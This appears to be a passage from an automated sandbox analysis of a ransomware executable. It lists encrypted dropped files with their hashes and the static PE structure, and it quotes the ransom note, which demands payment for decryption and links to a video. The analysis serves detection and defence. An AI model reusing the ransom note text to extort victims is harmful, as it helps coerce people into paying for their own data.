SHA-512:	531D37B7F0E58D24F52CE8322DD19A91EA30FECB87253B2D17184003D855EB49EE2669264315A14452D72DFB66100298911606B89E08AB3925407FF2E87A3594
Malicious:	false
Preview:	regf.5..vS......w.....P.G.EY.i.........fttB2..P\|)t]...U.Q$...........^.?.-I."......'../d #H,.W+u....\|.3.@1\|..8_7.e..}.I......b........,...._.C.jS..s...V.OP7...y......h.J..^.zI.RN\|.)<(...............c.$DUs......2....[uY..xH~$'/sDo..&.-..0..=I.(Y-.....I.......E].9p.........O..#~.....-P.+Lx\.I,\I.g`B'..A...w.............J$-.r..........M.,.\|H.....^..{....SY..*.u..$....5.]...g..'Z.j.1:.N..Z.. P...._$T%e.!..$..J~ [..%?@..O.8....4Y ....uZ.....3$.=.D.5.........,...N#!..I.....9....\..R..j.^....V.B..4{..b./'.=F0...,.V+0..w..6...p....=,J'...S..B.Y...j:.>r...e.]....a....b(.....=........U.j~.&.2&B...e.O>....KA.P.]o.fOk.+.f(.F0........bI..9\...........lf..y..)..U....G.......(iK..tG..2..... .J..Dz...h.....(r.7....X`9.;L.K......8.Gte..G..=.5..&;..[Y....r].B....u.RH....t..Z...?:j.A.@....Tu.d0...0 `.&.G...ca.+...i.J.......f.9.....ot..H.........$.l...@0Ij.cep..7._.....H...f;,x.B=.R._L.[...J.mM..C.......?...)c(.!.n$..........p.d/....3.'&....s....[...

C:\Users\user\Local Settings\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9818676728100755
Encrypted:	false
SSDEEP:	192:qfJtBxRPZ5c/E9/DBpEDZV0dlWO03PhBaUBvq8gxiVCMjKKihP07:ottPbJDBordO03aIvXgxishZ87
MD5:	175D92B9B18C4C7426D50940AB072319
SHA1:	4240B83222270851B1B00020A9876F33271A06B7
SHA-256:	1335AAB557043920F8CA7251DAE8D2F195263DBCA7F3C4E85029535ACA24EB5F
SHA-512:	0A13CE0E26E747190D252486ED773A3CA08210324637A3C882F8C38FDAAFE66377E3F84A99B603C3DA66BA0A1B4736F44CA0E3784A196149BD46CD5FFBBBD958
Malicious:	false
Preview:	regf.....aZ..?.r..2....Y...Ds....\|.5..P...?..p.W?......H.p.^...!.r.QE..t..,.\|8j....?....q..IT..e....I..N...2.. .^;,.....O.-.......3R......T:.j..13...Ff..6.:.~.\X`./Fod.....3._. f.J{?..D.+'.j[...J..C\..3Q.~.L{.....0..D\|.".'Jz..o&zua...1h...O.:L.......Vn.@%..r...;...&M..a@Zi..:.c.t.s.n.... .f}G.I.J.T.)...<D..%..h..<..7....#....h.".>....}..[f4..+B..\..d.x...\|..Lp....Z..{3..E......c..A;.Y;.%..9.9.b..2...h...l.h....J.i.(.0s.o..xC.N...j!........7..../N..........\|A..0..4..]...C..1.'Xr..f.9..{6%.e>...L...?.8>.L...d.h..@Yz.y.W.q.)....a.T.i`......8.GO.<).o.......R.Q.z1...S.t..!L.../..<.....g....j>.]..u$.$..9...Ix...[.&.,...a.F+.<..(b.5.......$...R..i..6..3....s.;.-.....K!.l..s>.4L.aK....=.2..=.[....g.;~.P8......0...=@...8.%.....t.{m.R.8..l........../.J..yP ...?b.........8\.f.....q.\|.M.K.=.)'*mj................A..>a........w.F[..%..J.2.a.8..s.aR.tq.A_....{.._....qfh.t.'M..:.........o.s..i....v....vz.=.g....C....yO........X......._;...FJ._.,.a.\|.

C:\Users\user\Local Settings\Packages\Microsoft.BioEnrollment_cw5n1h2txyewy\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.98059602580463
Encrypted:	false
SSDEEP:	192:fGWV3ro+NAQJYrPGvO+d+ClxVvxjc4/AZMz/rrzH1lVb9:fZpro+6YYruvFLxzjcBunzH1lVx
MD5:	786545112F82C348C8DC0D8752786B64
SHA1:	A7317012B22728161F9BC67EA26EAF2C0B65A087
SHA-256:	FA390A2CC34C7D088F3301E9D5D824741C3DB4F84C3B41DAF70C482936DD7830
SHA-512:	2AEE5ED9EDCC6DACDD4DE4BBD8B7F882E765885E3369A78F446014A59230CDB769DF23F7FF8EF654FE0B54C595981A2B86DA78266CC61BA663E1726769724A61
Malicious:	false
Preview:	regf......7.....5..w<.f.K......?..R...a...QTH...Uc...\|.:.l.ZH.zG..-......^....=.n....RS..). ..pF....?.......M..@.h.O.p...Z>)@.....+.."+.m.'..b..L....)..q...X.......'.W..."D.+....P..7,E.Vn.1.....h............w..#.H.a<.D.t..-.'.^R..U.......I....M.$s...G...B2.sTNhT.............)..,.....3...(..ur......K+......2G..5z.t...Wq..8/.X.t.....N....c.U.7...g...K..\...<TH2V.T..E..1]#.D.h.ba}iK..CbI>.z]hL.G.2.w.&..Wf.@......w..t..O.8...c.T..z@.O..C~\8..G.4.Q.1.q7o.......#.F........YlT....%..0..Mt=X.;..Tc5.P..[.........+.b.8@..4.ln...2.q....{.6......m...^:....y.Ne=.i.e.A.!....%.M..?....~...o.P.....Q.......5IR...c.._..I2.Nd.....6%]7z<J.5kT..9bX.....ha.Q3..}...Mb.'k.O..-...K....J..Hk.l..F.....U....M..Q..$W.x.../..h.2^.!A...6..o.........,y...#..45....N9..c.P#.......Dnr...jz{..d.........1E.jd....O`..%Z.P%:.9Tx..\..X....T...o.ItM...r.{.v.....? Lq.V.....?g.p..4.Y.. .5.wg2..$E..>........J..`..{b.`\|..N...M.^a.(...~<.Ba}..2!d1Yf.....#e./8^..s!-.z.

C:\Users\user\Local Settings\Packages\Microsoft.CredDialogHost_cw5n1h2txyewy\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.975138931432059
Encrypted:	false
SSDEEP:	192:GPa1vm0v3ETirosJybMVbF8gEB4XN0OiXmeFIqWaU1O3Q6r10A:He0/VrVCwbCbB4eOiXmBh1kf
MD5:	203EF24174C5F598FA16DC997B848C68
SHA1:	79576878C095066A316DA8161F84EF2FFD752DFF
SHA-256:	2EFBFDBEA9E10C6C44C37430BF6B25ACCC5FBF4818E63B928E64C9371224214F
SHA-512:	286283BD76466ED6E8E45AB1F3835CB1F7BCD81DA080E0D087C339ECB938DA8B18CA37566ECB7664C1DF51CAA85481467B0ECDD4BB9FE7633C1DDD964E3BDB5C
Malicious:	false
Preview:	regf.>QFV..w?.......\|S...{..iX..,q..3i..... )y...............;2..".(.c&@h...].)..^B_.a.k6..E....bI&..(...UA^b<U["@.M.\|......\C....k$@.$...J._s....l..K...,M...v7q.. pJ.~$...FU........!0%?.0.....s.....2%.sA.@.L=~:.]f...b.....A.@.s...v .....$y._...k.%.S..#.o..p.....&.V. ...2...!..;_A...4.K,..j..?;#..u....F\....66:..6....E....../..t.....rS....r..VG...&]."e...<.&..........4>.v....'`..,....pj.f...:...7....%<8%....Vj]..H;7.....a.....@O.U..'F".9/...,8oKW...=;}..%L.../..C.....~Q.V)Y...9.g(..0:..~....N..C......\|<+7.....Q+..-..m..k..12.{.$lC.j D.xw.S.......F..G....8%..........=._`l./.G.+.9Q..<...O...D..z..lf..S.3/2k..B.....$.Zx...Kj....."b..KT&.k?.>..........X0....k....b.....'.d%D.E.......a.#.%..y....G.....,..g....fX.......(....g...]k...C.p?A.!.6."....1z..Wl..{9.<L_L...5.`5DH.........h".Sy..a.\.a.uv,......x<S..P.'..q.]i.K~. ...G..}L...#..(_c._....+.O.W.....b9s....:....dz..McwK./....t...}..39.r%&Z.Sf.t.^5g.wL.$~..../..B..5nf.j.mR.m

C:\Users\user\Local Settings\Packages\Microsoft.DesktopAppInstaller_8wekyb3d8bbwe\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977526480782532
Encrypted:	false
SSDEEP:	192:e1vm5/I/Y/3qYtJMUjOAxFg8TANLO0L8DzPpka/026KsEoz4M:eBsIQycMUjZvvgK0L8DzP3c26KxUB
MD5:	ABFC4A25E407EE8611F69FB000555ED3
SHA1:	987361560CE6887D1F480791DB8CB30370897C3C
SHA-256:	965A1BCFAB113A983FB53C95D76EEB163E0D3C08A10330708F7AC4A46CA0D505
SHA-512:	585F74A56F69B83832D37AAADC201604D3CFE78500CB217A3093B2029CD8BFA49039BD044D3C10C590839BD64CEDAF2EC7CE32CCDE0F594B50CA89D12FD917AB
Malicious:	false
Preview:	regf.."K.q..M...:^.n3=.w.~'..>.(..X...9Z\|,=4.y..<Qfds.1.\|.....<.\|..u,.s...L..n:....r.<Y.r..26.q...B.:.!.dt.!?..P.U.?.&...,..........j,...d.Q.j.7`hHC'./..K.EjJ.7A..n0...MQ......'...u.5..n\|.Y.."...8@..Z..^e..-o.5lB."..j....ZT!.."W.s.7".....o.....O...A.$...2...VPU#.I...3w.E..],.D.Q..c....=.{l......gg@.....Y.n..(.......+...TK.[@.$....x.....zO.m>..+..@..._.]....y8........H.V.....B...RG.i}.....x%g.3.j..5...@XX..)y.C....Bv.5>Xn?...^.......b...M_...u_q..:D..X....H....c.!9$\|.f.T.^d.Rg.... .]G.0<..piD8Q.A..xCE.?.j........~.Fz..:.....(}.&<.....>~.!]..H...J:...(@.?.t..6f....F.Dw..-...W.gZ.......a..\q....C._c[6.@......I..&..X.U..Vo0..X.BWZE.W.....['B......<..=....Fd...!LA...........o..x.q..V.f-..e.d.<...zA D.....(0..Q.../...q0.{@..-.W/.\|..@......^.k=%F...gz.6.&.*..\|...w.j....B.z..Sh,(6..FEz.v....hYz..]..w;... .............@..`.b=a.....-2....... ZB..>.E.l.Y..`rf.O-.e...9.8;.....K.$"(N......e.N..I....Q.\].M.%cr...q$.d(.e...R.S....Rh.O.u%N.t.t{. ....

C:\Users\user\Local Settings\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\Settings\settings.dat.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980030045739592
Encrypted:	false
SSDEEP:	192:PiUTzJPvRNNauFJWlHLvEGFAR3TYyNY/FRqTjZBZPNVqChwB:PlBPnNLJUHbEGFAR3kEYdRqTj7BJCB
MD5:	C7E456154C97B30029B03B57B9F1E41C
SHA1:	B834C3E64C12E272F62C45E8CB7011ABE35C8C95
SHA-256:	08A2F659F829990E149C2C270950B9292930876821999CA0346282ADE81FF550
SHA-512:	6A22D5337706660B7BFD4F8BAC5E79994CEEAFB17E408CBACB43ABE6149D9F6D206F53FA0C5D85AA7F0C0E81B6503C386A19B6E09AF923BE48930BE474C67CFD
Malicious:	false
Preview:	regf..@l0TGb.U.E..{.r....=.K.!.#n#Cz..W {gy.........$6HR^.....Z0....V..Dn......U.;.n.4.k\.....O..........m..B...n.b.._9...W...AN........#.i...T/..m}...s.....w.m.~.0%.C...EG.W\|...P..6.E..;....W.....Y.....f..Q...@S.GX..Z....,".3:u.6.!.id`.C.k2..?z..C.p.a.K.....B.Z...g..$DQ...k#.k .%.bu.....&...h...R/.G../..3..P...H.L.;..C...........xTj....&......E...o.4V..AX..`.R..R.ay...Kc..\..PuP.`.W..<...^.....E...d......EIYF...>....s....-j.re.....!64D._M..+.....`.G..Op..E.+...........\|.ans..F..P............x.z....L.N...:...-b....Ue.+.....nC...\|.....v4....-.(...[...n..P.2.;Z>..v.-.<r.@..4..c..b(........<....r."..=1.:3V....4..U2.k....R....yo.....:/.E?...^.l.Sb....CY........>...x.'.z..hH.....7Z.5....!.i...x...w.F.>.L....Ys:..4...T..Q..0..<AX"y...g_......V.i..F.....Z.l..<.i.S._C9.Z..../.*.U}u.%3.0..a......s.F()......21..DH........Z.....G....oB......j...O !...(-..'.....j.X.`..d._.jNg.3...X.K...tUk{.).h.......?gw$..-.#..3!pD..j~.$.\|?7....a...>{......Rj.$

C:\Users\user\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1003}-.searchconnector-ms

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	7.841758576142225
Encrypted:	false
SSDEEP:	24:5COjBdpH7283GYR3h163sY0twyLtaPe8IZWGw/J3JEOFqI7finmMiTkbD:wOjBP7JWQ/A0twyLtamyhZERnYiD
MD5:	CE4F3632436AA697D889B0DE08857C55
SHA1:	88E0B3C61A4EAD42957DF0376EF13123E94FD972
SHA-256:	133CC416579587317460C4E885B1621DB603E02AD569B06BBD6519F07BA6DF77
SHA-512:	1B2DAD6CABE1DE58B07EA90DB54EE4B4EC9D81968C365A3D442BDE7410F10F8F8608A19BA18AFA6F791CA2E2951A90E0E73235C4A392B3CF30898ABB5B522230
Malicious:	false
Preview:	<?xml.j......_s3...B.C4.G...7...t.6.m.L.B"...uM#.}G.-.E...u...PB.5U}b...]...9j..v..K.q.....)V.!.r.j_........Mi....<.SF,.#........&.&.)..;+]..M....U.i.V..`%n.......p....O..y91....?.1.e^....2..Ik.,...H...........^ .mVl..'bc].r.s.\4.....5......V..=Z...7.i....FF...f%....~5\.P8G.^.@z.J..7...Z7..'._\|...e...p........7^Z...9.d..5......N.....m....C[.@.{.P4?$.<...O..T..%....c.4O"..`....{.%.d.:.Q...U.Z....-.W.3..^..].{V.5t.....e......VO..=J...6. ...L\|...^.bd#A.).GefE'......._..\.K.....sy.....b'\|..F..x..G...@....%.`..ZR2Cg.\|..AWH..q7.i....[j...#..H.h..w.)7...w!.....\|.?........./t.........h:.c&.iF.4.;~..M_S.....4.P.Eb...".......Q.Y....x9)TsFh&.(.z<+y.%..U.....6Mr.....;..~?[.^.y..c....h..Q......]P.....Z.q.....K.m.\.r...v.......b..E..,..G.+.41.....^0B.L..K...'N....%..m......7.....vY..B(.i..."...=.....@.,..l........N.. .6...Fj..(..l"....8.6).9...K..)...7p.a....."V..Mh..7. ....)n+..t.?...A....t.....wy../....g.uG%&..R=..d...i.^)

C:\Users\user\Searches\winrt--{S-1-5-21-2246122658-3693405117-2476756634-1003}-.searchconnector-ms.bgjs (copy)

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	data
Category:	dropped
Size (bytes):	1193
Entropy (8bit):	7.841758576142225
Encrypted:	false
SSDEEP:	24:5COjBdpH7283GYR3h163sY0twyLtaPe8IZWGw/J3JEOFqI7finmMiTkbD:wOjBP7JWQ/A0twyLtamyhZERnYiD
MD5:	CE4F3632436AA697D889B0DE08857C55
SHA1:	88E0B3C61A4EAD42957DF0376EF13123E94FD972
SHA-256:	133CC416579587317460C4E885B1621DB603E02AD569B06BBD6519F07BA6DF77
SHA-512:	1B2DAD6CABE1DE58B07EA90DB54EE4B4EC9D81968C365A3D442BDE7410F10F8F8608A19BA18AFA6F791CA2E2951A90E0E73235C4A392B3CF30898ABB5B522230
Malicious:	false
Preview:	<?xml.j......_s3...B.C4.G...7...t.6.m.L.B"...uM#.}G.-.E...u...PB.5U}b...]...9j..v..K.q.....)V.!.r.j_........Mi....<.SF,.#........&.&.)..;+]..M....U.i.V..`%n.......p....O..y91....?.1.e^....2..Ik.,...H...........^ .mVl..'bc].r.s.\4.....5......V..=Z...7.i....FF...f%....~5\.P8G.^.@z.J..7...Z7..'._\|...e...p........7^Z...9.d..5......N.....m....C[.@.{.P4?$.<...O..T..%....c.4O"..`....{.%.d.:.Q...U.Z....-.W.3..^..].{V.5t.....e......VO..=J...6. ...L\|...^.bd#A.).GefE'......._..\.K.....sy.....b'\|..F..x..G...@....%.`..ZR2Cg.\|..AWH..q7.i....[j...#..H.h..w.)7...w!.....\|.?........./t.........h:.c&.iF.4.;~..M_S.....4.P.Eb...".......Q.Y....x9)TsFh&.(.z<+y.%..U.....6Mr.....;..~?[.^.y..c....h..Q......]P.....Z.q.....K.m.\.r...v.......b..E..,..G.+.41.....^0B.L..K...'N....%..m......7.....vY..B(.i..."...=.....@.,..l........N.. .6...Fj..(..l"....8.6).9...K..)...7p.a....."V..Mh..7. ....)n+..t.?...A....t.....wy../....g.uG%&..R=..d...i.^)

C:\Users\user\_README.txt

Download File

Process:	C:\Users\user\AppData\Local\024f663a-fade-4f06-af66-38634144c25c\rq0mVjR9ar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1381
Entropy (8bit):	4.898327877428401
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYfJeKAUEuWEYNzk5LmFRqrs6314kA+GT/kF5M2/kJw3K:WZHfv0pfNAU5WEYNzoLPs41rDGT0f/kB
MD5:	EFFCD993E52F5530DA7BB628652D00C6
SHA1:	19B79C4EFCC161042FC6494AF0F9CF2AFB848568
SHA-256:	90FC1E6A418992AB249D3F401FAE59738405BF4EC252579556176940B33E7C8A
SHA-512:	4A63FF788169A332E689C3ADA68D311BFC6A81C72203339B1B21BDF930194EB70934A3605A6E24210D5C46BDA39509A673BF649694A06576E0FB1AAB6DE9372A
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...Do not ask assistants from youtube and recovery data sites for help in recovering your data...They can use your free decryption quota and scam you...Our contact is emails in this text document only...You can get and look video overview decrypt tool:..https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27..Price of private key and decrypt software is $999...Discount 50% available if you contact us first 72 hours, that's price for you is $49

C:\_README.txt

Download File

Process:	C:\Users\user\Desktop\rq0mVjR9ar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1381
Entropy (8bit):	4.898327877428401
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYfJeKAUEuWEYNzk5LmFRqrs6314kA+GT/kF5M2/kJw3K:WZHfv0pfNAU5WEYNzoLPs41rDGT0f/kB
MD5:	EFFCD993E52F5530DA7BB628652D00C6
SHA1:	19B79C4EFCC161042FC6494AF0F9CF2AFB848568
SHA-256:	90FC1E6A418992AB249D3F401FAE59738405BF4EC252579556176940B33E7C8A
SHA-512:	4A63FF788169A332E689C3ADA68D311BFC6A81C72203339B1B21BDF930194EB70934A3605A6E24210D5C46BDA39509A673BF649694A06576E0FB1AAB6DE9372A
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...Do not ask assistants from youtube and recovery data sites for help in recovering your data...They can use your free decryption quota and scam you...Our contact is emails in this text document only...You can get and look video overview decrypt tool:..https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27..Price of private key and decrypt software is $999...Discount 50% available if you contact us first 72 hours, that's price for you is $49

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.6492722568410185
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	rq0mVjR9ar.exe
File size:	798'208 bytes
MD5:	b35348f4654893767a081b076f7becdf
SHA1:	05b4ff88303a5e72ff43d5554c4628cec9e71bf8
SHA256:	8e53393db26258fb917fd570861070420d31148c2826dcdbed52ce326c2d5ff6
SHA512:	b634797706b5851ade5983aeac47f63723545e2d2c09f171871728a278f7cb72ab52d4eca73ff6648d6224a7c4da2ec261b4c6104fa2ab532334ddd5551b8e67
SSDEEP:	12288:JHdymkH6+JdxrhhdF3wHogECWip4QBeXYeNaCA57tQL9ODxvZTTN85vaYkqC:JdkaCfrhhP3wi7rXYeNbaekDxRfO5zC
TLSH:	4A050202F6E2C4F1E4A3E13245A587A00D3EFC73AE3185D737886B5E6D306819EA7756
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%G._a&..a&..a&..lt`.\|&..lt_..&..lt^.M&..h^,.f&..a&...&....Z.`&..ltd.`&....a.`&..Richa&..........................PE..L....V.c...

File Icon


Icon Hash:	41214165554d410d

Static PE Info

General

Entrypoint:	0x403f5f
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x63D75695 [Mon Jan 30 05:33:09 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	4844545e0b5ceed300acfd900c0994fb

Entrypoint Preview

Instruction
call 00007F4A7527F8B5h
jmp 00007F4A7527AD25h
push 00000014h
push 00418880h
call 00007F4A7527C020h
call 00007F4A7527FA86h
movzx esi, ax
push 00000002h
call 00007F4A7527F848h
pop ecx
mov eax, 00005A4Dh
cmp word ptr [00400000h], ax
je 00007F4A7527AD26h
xor ebx, ebx
jmp 00007F4A7527AD55h
mov eax, dword ptr [0040003Ch]
cmp dword ptr [eax+00400000h], 00004550h
jne 00007F4A7527AD0Dh
mov ecx, 0000010Bh
cmp word ptr [eax+00400018h], cx
jne 00007F4A7527ACFFh
xor ebx, ebx
cmp dword ptr [eax+00400074h], 0Eh
jbe 00007F4A7527AD2Bh
cmp dword ptr [eax+004000E8h], ebx
setne bl
mov dword ptr [ebp-1Ch], ebx
call 00007F4A7527F2BBh
test eax, eax
jne 00007F4A7527AD2Ah
push 0000001Ch
call 00007F4A7527AE01h
pop ecx
call 00007F4A7527F217h
test eax, eax
jne 00007F4A7527AD2Ah
push 00000010h
call 00007F4A7527ADF0h
pop ecx
call 00007F4A7527F8C1h
and dword ptr [ebp-04h], 00000000h
call 00007F4A7527D0F1h
test eax, eax
jns 00007F4A7527AD2Ah
push 0000001Bh
call 00007F4A7527ADD6h
pop ecx
call dword ptr [004110BCh]
mov dword ptr [0409FC5Ch], eax
call 00007F4A7527F8DCh
mov dword ptr [004B21ACh], eax
call 00007F4A7527F27Fh
test eax, eax
jns 00007F4A7527AD2Ah

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[IMP] VS2008 SP1 build 30729
[RES] VS2013 build 21005
[LNK] VS2013 UPD5 build 40629

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x18cb4	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3ca0000	0x12368	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x11200	0x38	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x181e8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x11000	0x18c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xfd88	0xfe00	d9febd511a234d712af0a3b6c51670cf	False	0.6032234251968503	data	6.715232393855138	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x11000	0x85c4	0x8600	172f575d3e7ae7c6a305242be5150912	False	0.45385377798507465	OpenPGP Public Key	5.11869558128458	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1a000	0x3c85c60	0x98200	97145205a40e6118f473c4e00187e13f	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3ca0000	0x12368	0x12400	01142de6a7f8981756960d8eb2e7ea35	False	0.439011665239726	data	5.210724064829604	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
AFX_DIALOG_LAYOUT	0x3cad0d8	0xe	data			1.5714285714285714
AFX_DIALOG_LAYOUT	0x3cad0e8	0xe	data			1.5714285714285714
RT_CURSOR	0x3cad0f8	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.27238805970149255
RT_CURSOR	0x3cadfa0	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.375
RT_CURSOR	0x3cae848	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5057803468208093
RT_CURSOR	0x3caede0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0			0.30943496801705755
RT_CURSOR	0x3cafc88	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0			0.427797833935018
RT_CURSOR	0x3cb0530	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0			0.5469653179190751
RT_ICON	0x3ca0740	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.5692963752665245
RT_ICON	0x3ca15e8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.5455776173285198
RT_ICON	0x3ca1e90	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.6184971098265896
RT_ICON	0x3ca23f8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.46556016597510375
RT_ICON	0x3ca49a0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.4849906191369606
RT_ICON	0x3ca5a48	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Romanian	Romania	0.494672131147541
RT_ICON	0x3ca63d0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.450354609929078
RT_ICON	0x3ca68a0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	Romanian	Romania	0.42217484008528783
RT_ICON	0x3ca7748	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	Romanian	Romania	0.47247292418772563
RT_ICON	0x3ca7ff0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	Romanian	Romania	0.5697004608294931
RT_ICON	0x3ca86b8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	Romanian	Romania	0.4703757225433526
RT_ICON	0x3ca8c20	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	Romanian	Romania	0.4679460580912863
RT_ICON	0x3cab1c8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	Romanian	Romania	0.48334896810506567
RT_ICON	0x3cac270	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	Romanian	Romania	0.5032786885245901
RT_ICON	0x3cacbf8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	Romanian	Romania	0.5576241134751773
RT_STRING	0x3cb0cb0	0x2f2	data	Romanian	Romania	0.47877984084880637
RT_STRING	0x3cb0fa8	0x2aa	data	Romanian	Romania	0.4941348973607038
RT_STRING	0x3cb1258	0x4a8	data	Romanian	Romania	0.4538590604026846
RT_STRING	0x3cb1700	0x1b0	data	Romanian	Romania	0.5092592592592593
RT_STRING	0x3cb18b0	0x2d2	data	Romanian	Romania	0.4903047091412742
RT_STRING	0x3cb1b88	0x7da	data	Romanian	Romania	0.41492537313432837
RT_GROUP_CURSOR	0x3caedb0	0x30	data			0.9375
RT_GROUP_CURSOR	0x3cb0a98	0x30	data			0.9375
RT_GROUP_ICON	0x3ca6838	0x68	data	Romanian	Romania	0.6923076923076923
RT_GROUP_ICON	0x3cad060	0x76	data	Romanian	Romania	0.6779661016949152
RT_VERSION	0x3cb0ac8	0x1e4	data			0.5392561983471075

Imports

DLL	Import
